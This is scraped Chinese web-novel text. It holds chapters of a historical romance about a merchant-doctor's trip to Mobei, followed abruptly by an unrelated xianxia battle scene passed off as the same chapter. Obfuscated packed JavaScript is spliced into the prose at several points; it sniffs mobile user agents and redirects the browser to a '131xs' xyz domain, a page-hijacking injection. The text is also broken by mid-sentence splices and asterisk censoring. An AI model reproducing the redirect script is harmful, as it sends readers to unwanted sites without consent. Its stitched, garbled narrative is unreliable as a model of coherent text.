p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136373|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜大夫接旨!小太监展开圣旨,陛下闻姜大夫善于理财,账目清晰,特赐算盘一架,以资嘉奖! 说着,另一个太监捧上一个精美的锦盒,里面躺着一架紫檀木制的算盘,每一颗珠子都光滑如玉。 多谢陛下恩典!姜绾歌跪下接旨,但心中却在琢磨顾铭轩的用意。 等太监们离开后,她仔细端详着这架算盘。算盘做工精美,但更重要的是它所代表的含义。 绾绾算珠打得精,朕的心意,可曾算入? 这分明是在试探她的态度!顾铭轩已经知道了钱有德辞官的事,也猜到了是她在背后操作。这架算盘既是嘉奖,也是警告。 东家,陛下这是什么意思?阿福小心翼翼地问。 意思就是,他什么都知道,姜绾歌放下算盘,但现在还不想撕破脸皮。 她在房间里踱了几步,忽然有了主意:阿福,去准备一些上好的茶叶,我要亲自调制一款新茶。 当天下午,姜绾歌在后院的密室里忙碌着。她将绿茶、罗汉果、胖大海、甘草等药材按照一定比例调配,制成了一款清肺润燥的养生茶。 这茶能清肺热,润咽喉,对经常用嗓的人特别有效,她一边调配一边说,皇帝日理万机,肯定用得上。 调配好茶叶后,她又精心准备了包装,用上好的锦盒装着,还写了一张字条:陛下龙体为重,此茶清肺润燥,望陛下保重龙体。 让人送到宫里去,她将茶盒交给阿福,就说是民女的一点心意。 夜深了,姜绾歌独自坐在房中,看着桌上的那架算盘和手中的京官嗜好清单,心中思绪万千。 今天的事情让她更加深刻地认识到信息的重要性。掌握了这些官员的秘密,就等于掌握了他们的命运。 但同时,她也知道这是一把双刃剑,用好了能保护自己,用不好就会招来灭顶之灾。 窗外夜风****,吹动着房中的烛火。姜绾歌看着烛光摇曳,心中暗暗发誓:无论多么凶险,她都要在这个复杂的**漩涡中活下去,并且活得更好。 那本京官嗜好清单,就是她最大的依仗。 第210章 去漠北 八月的午后,杏林堂里药香阵阵,姜绾歌正在整理新到的一批药材,忽然听到门外传来急促的脚步声。 一个风尘仆仆的药商跌跌撞撞地冲了进来,身上的棉袍沾满了泥土和雪花。 姜大夫!姜大夫!来人是常年往返边境的药商老马,平时精明能干,此刻却显得极其焦急,我从漠北赶回来,有大消息要告诉您! 老马?你怎么这副模样?姜绾歌放下手中的药材,快坐下说话,阿福,上茶! 老马顾不上客气,一屁股坐在椅子上,喘着粗气说:姜大夫,漠北出大事了!边境起了战事,胡人南下抢掠,咱们的军队和他们打得正激烈呢! 战事?姜绾歌眉头一皱,这和药材生意有什么关系? 关系大了!老马压低声音,眼中闪着兴奋的光芒,因为战乱,漠北的紫草积压严重,没人敢去收购,价格跌得厉害! 跌了多少?姜绾歌立刻来了精神。紫草是制作金疮药的重要原料,平时价格昂贵,如果能低价收购,利润将会非常可观。 七成!老马伸出七个手指,原本一斤要十两银子的上品紫草,现在只要三两就能拿下! 七成?姜绾歌倒吸一口凉气。这个降幅简直是天赐良机!她快速在心中计算着:如果能收购到足够的紫草,制成金疮药后,利润至少能翻三倍! 为什么跌这么多?她追问道。 还不是因为战事!老马苦笑着摇头,漠北镇**人**,商路断绝,药材运不出来。当地的药农急得要命,宁可贱卖也要换点现银逃命。 姜绾歌在房间里来回踱步,脑中快速分析着这个消息的价值。 漠北紫草向来是金疮药的极品原料,药效比普通紫草强一倍不止。 如果能趁着战乱低价收购,不仅能大幅降低成本,还能垄断这种珍贵药材的供应。 老马,那边的情况到底有多危险?她停下脚步,严肃地问道。 很危险!老马毫不犹豫地回答,胡人骑兵来去如风,专门劫掠商队。路上到处都是马匪和散兵游勇,一般的商人根本不敢去。 那你是怎么跑出来的? 我运气好,跟着一支军队的辎重队才逃出来,老马拍拍胸口,不过那些紫草确实便宜得很,要是有人敢去收购,绝对能赚大钱! 姜绾歌眼中闪过一丝决然的光芒。 危险意味着机遇,越是别人不敢去的地方,越可能有巨大的利润。 金疮药在战时最为紧俏,如果能抢在别人前面收购到大批紫草,不仅能满足目前的订单需求,还能为将来的扩张打下基础。 老马,那边具体还有多少存货?她继续询问。 至少有三千斤!老马兴奋地说,都是今年新采的上品,因为战事囤积在各个药农家里,现在都急着出手呢! 三千斤!姜绾歌心跳加速。按照正常价格,这批药材价值三万两银子,但现在只需要九千两就能拿下。制成金疮药后,至少能卖五万两! 我要去!她咬牙做出决定,老马,你愿意再跑一趟吗?我给你双倍的跑腿费! 姜大夫,您真要去?老马吃了一惊,那可是要命的差事啊! 富贵险中求!姜绾歌拍拍桌子,老娘做生意从来不怕冒险!大不了多带些护卫,小心行事就是了。 她立刻开始盘算需要准备的银两和人手。 九千两银子不是小数目,但她这段时间琉璃生意赚了不少,加上杏林堂的积蓄,勉强能凑齐。 阿福!她大声喊道,去银库清点现银,看看咱们总共有多少家底! 是!东家!阿福匆忙去办。 正当姜绾歌兴致勃勃地计划着这次冒险时,门外传来熟悉的脚步声。 顾云霁推门而入,今日他穿着一件青色的便袍,神色略显疲惫,似乎刚从外面回来。 姜老板这么兴奋,是有什么好事?他走到桌边坐下,目光扫过在场的老马,这位是? 这是药商老马,姜绾歌简单介绍了一下,然后兴奋地说,王爷,有个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136374|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买卖的机会!漠北的紫草因为战事大跌价,我准备去收购一批! 漠北?顾云霁眉头微皱,你要去漠北? 没错!姜绾歌没有察觉到他语气中的担忧,继续说道,三千斤上品紫草,只要九千两银子就能拿下,这可是千载难逢的机会! 顾云霁的脸色瞬间沉了下来。他站起身,语气变得严厉:姜绾歌,你疯了吗?漠北现在战火纷飞,你一个女人家去那里,是嫌命长了? 王爷这话说得,姜绾歌不以为然,做生意哪有不冒险的?再说了,我又不是一个人去,会带足护卫的。 护卫?顾云霁冷笑,你以为几个护卫就能对付胡人骑兵?北境匪患猖獗,就算是朝廷的军队都不敢轻易深入,姜老板想拿命换药材? 这话说得很重,让姜绾歌心中一震。但商人的本能让她不愿意放弃这个机会:王爷,我知道有风险,但这个利润太诱人了。而且老马已经跑过一趟,证明不是完全没有可能。 老马是运气好!顾云霁语气更加严厉,你以为每次都能有这种运气?姜绾歌,我劝你趁早打消这个念头! 姜绾歌看着他认真的表情,心中涌起一阵暖流。虽然顾云霁平时总是一副慵懒的样子,但此刻的关切却是真心实意的。 王爷担心我?她忍不住调侃了一句。 废话!顾云霁没好气地说,你要是死在漠北,我上哪找这么有趣的人? 虽然是玩笑话,但姜绾歌听出了其中的真情。她沉默了片刻,然后忽然眼睛一亮: 王爷,我有个主意! 什么主意? 姜绾歌快步走到书架前,从里面翻出一卷图纸。她小心翼翼地展开,露出了一幅精密的机械图——正是改良后的诸葛连**设计图。 这是什么?顾云霁凑近查看,眼中闪过一丝惊讶。 诸葛连**,不过是我改良过的版本,姜绾歌得意地指着图纸上的各个部分,射程更远,威力更大,而且装填速度快。一个人能顶十个弓箭手! 第211章 镇国将军厉战霆 顾云霁仔细研究着图纸上的设计,越看越震惊。这个改良版的连**不仅结构更加合理,还增加了许多巧妙的机关,明显比传统的诸葛连**先进许多。 你哪来的这种图纸?他抬头看着姜绾歌。 这是老娘自己琢磨出来的,姜绾歌理所当然地说,我闲着没事就喜欢摆弄这些机关术。 顾云霁深深看了她一眼,没有再追问。这个女人身上的秘密太多了,每次都能带给他惊喜。 你想干什么?他问道。 借王爷兵工坊一用,造十把这种连**防身,姜绾歌眼中闪着期待的光芒,有了这些利器,就算遇到马匪也不怕了! 你还是想去漠北?顾云霁皱眉。 当然!姜绾歌坚决地说,这么大的商机,我不可能放弃。王爷你看,有了连**防身,再带上足够的人手,安全系数大大提高。 顾云霁看着她那张坚定的脸,知道劝阻无用。 这个女人一旦下定决心,九头牛都拉不回来。 你真要去?他最后确认了一遍。 去定了!姜绾歌毫不犹豫。 顾云霁沉默了良久,最终长叹一口气:好吧,连**我给你造。但有个条件——你必须带上我的人。 王爷的人? 我会派几个高手暗中保护你,顾云霁严肃地说,这是我的底线,不容商量。 姜绾歌心中感动,嘴上却不饶人:王爷这是要监视我? 监视你个头!顾云霁没好气地说,老子是怕你死在外面! 两人对视片刻,最终姜绾歌点头同意了。 虽然嘴上不承认,但她心里清楚,有顾云霁的人暗中保护,这趟漠北之行确实会安全很多。 一天后,京城外十里的官道上,一支看起来平平无奇的小型商队正在缓缓前行。 马车上装着各种货物,看起来就是普通的行商。 姜绾歌坐在马车里,身边放着一把崭新的改良连**。 这一天里,顾云霁果然说到做到,不仅造好了十把连**,还配了足够的**箭。 小姐,咱们真要去那么远的地方?石头有些紧张地问道。他这次扮作护卫队长,腰间也挂着一把连**。 怎么,怕了?姜绾歌调侃道。 不是怕,就是有些担心,石头老实地说,听说那边胡人很凶的。 放心,咱们有秘密武器,姜绾歌拍拍身边的连**,再说了,富贵险中求,不冒险怎么发大财? 队伍继续前行,很快就进入了荒凉的戈壁地带。这里黄沙漫天,一眼望不到边际,偶尔能看到几根枯草在风中摇摆。 行进了两天后,天气突然变得恶劣起来。 西北方向**起大片乌云,狂风呼啸而过,卷起漫天的沙尘。 不好!要起沙暴了!老马大声喊道,快找地方避一避! 话音刚落,铺天盖地的沙暴就席卷而来。天地间瞬间昏暗下来,伸手不见五指,狂风夹杂着沙粒打在脸上生疼。 快!所有人下马!牵着马匹找掩体!姜绾歌大声指挥着,但声音很快就被风沙吞没。 队伍在沙暴中艰难前行,每个人都紧紧抓着前面人的衣角,生怕走散。沙暴持续了整整一个时辰,等风停沙落时,众人已经不知道身在何处。 该死的!罗盘失灵了!老马拿着指南针,发现指针在乱转,沙暴把咱们带偏了,现在不知道在哪儿! 姜绾歌看着周围陌生的地形,心中有些焦急。戈壁中迷路可不是闹着玩的,搞不好会渴死在这里。 先找水源,她冷静地分析,有水的地方一般都有人烟,咱们可以问路。 正当众人四处张望寻找水源时,远处传来一阵急促的马蹄声。很快,一支骑兵出现在地平线上,但这支队伍看起来很狼狈,许多人身上都带着伤,马匹也显得疲惫不堪。 是溃兵!石头紧张地握紧了连**。 队伍越来越近,姜绾歌看清了这些骑兵的装束——身穿铁甲,头戴兜鍪,分明是朝廷的正规军,只是现在看起来像是败退的样子。 就在这时,为首的将领忽然身子一晃,从马背上栽了下来。 姜绾歌定睛一看,只见那人胸前插着一支箭矢,鲜血染红了铠甲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140406|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >快!去看看!她毫不犹豫地跳下马车。 走近一看,姜绾歌倒吸一口凉气。这个将领虽然满脸血污,但那张面孔她不会认错——正是镇国将军厉战霆! 将军!将军!其他士兵围了过来,但看他们惊慌失措的样子,显然都不知道该怎么办。 姜绾歌快步上前,查看厉战霆的伤势。 箭矢射中了左肩,虽然避开了要害,但失血量很大,而且箭头上似乎还涂着什么东西,伤口周围已经开始发黑。 有毒!她心中一震,立刻对石头喊道,快把我的药箱拿来! 戈壁的风沙还未完全散去,姜绾歌跪在厉战霆身边,快速检查着他的伤势。 箭矢深深插在左肩胛骨附近,箭头已经没入血肉,只露出一截黑色的箭杆。 更要命的是,伤口周围的皮肤呈现出诡异的青紫色,明显中了剧毒。 这箭上有毒!而且毒性很烈!她对围拢过来的士兵们大声喊道,你们谁是军医? 一个须发斑白的老军医颤颤巍巍地挤了过来,看了一眼厉战霆的伤势后,脸色顿时变得苍白:将军,这毒已经扩散了,恐怕......恐怕只能锯臂保命了! 锯臂?周围的士兵们发出一阵惊呼,一个年轻的副将更是急得眼圈发红:军医,除了锯臂就没有别的办法了吗? 没有了,老军医摇头叹息,这是胡人的**,见血封喉,能活到现在已经是奇迹了。再不锯臂,毒素一旦攻心,神仙也救不了! 士兵们面面相觑,都知道对于一个武将来说,失去一条手臂意味着什么。 但生死关头,也顾不得那么多了。 去准备刀锯!副将咬牙下令。 慢着!姜绾歌猛地站起身,毫不客气地推开了老军医,老人家,你懂什么!这点小伤就要锯臂,真是庸医误人! 你......你是什么人?老军医被她推了个趔趄,气得胡子直抖,胡说八道!这是剧毒!不锯臂必死无疑! 必死无疑?姜绾歌冷笑一声,我行医这么多年,什么毒没见过?就这点雕虫小技,也敢在我面前班门弄斧? 第212章 刮骨疗伤 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 